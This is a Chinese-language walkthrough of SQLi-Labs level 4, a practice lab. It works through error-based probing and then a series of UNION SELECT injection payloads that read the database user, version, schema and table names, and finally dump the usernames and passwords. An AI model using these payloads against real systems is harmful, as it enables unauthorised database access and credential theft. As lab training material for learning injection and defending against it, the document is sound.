SQLi-Labs 是一个专业的SQL注入练习平台
第四关
打开第四关传参id=1,结果如图

接下来对注入点进行猜测引发报错,猜测发现传入1'和1asdf都无法造成我们想要的报错。我们不得不考虑别的方式,发现传入1"时,回显报错

根据报错,我们猜测sql查询语句中$id被一对双引号和一对括号包括,根据报错提示我们对$id传入新的值
?id=1") --+

发现回显正常,说明我们的猜测是正确的,接下来我们查看下源码进一步确认我们的猜测

发现源码正如我们所料,接下来我们猜测字段数
?id=1") order by 4 --+

当猜测字段数为3时回显正常,猜测字段数为4时报错,说明有3个字段
接下来我们猜测字段数据输出
?id=-1") union select 1,2,3 --+

字段2,3是数据输出的位置,那么我们查询当前数据库用户和数据库版本
?id=-1") union select 1,user(),@@version --+

得知当前权限为root,数据库版本>5.0,我们继续查询当前数据库名
?id=-1") union select 1,2,database() --+

当前数据库名为security,我们通过information_schema查询当前数据库下的所有表名
?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = 'security' --+

查询到有个名为users的表,查询此表下的所有字段
?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name = 'users' --+

查询到三个字段,其中两个是帐号密码,对这两个字段进行查询
?id=-1") union select 1,2,group_concat(username,0x7e,password) from security.users --+

查询到账号密码用~号分割,第4关到这就结束了。sql注入判断注入点类型需要不断的去试探,只要判断出注入点的类型,接下来的过程思路基本是一样的。所以需要有一个灵敏的思维,快速的猜测注入点类型,当然也可以选择用脚本跑。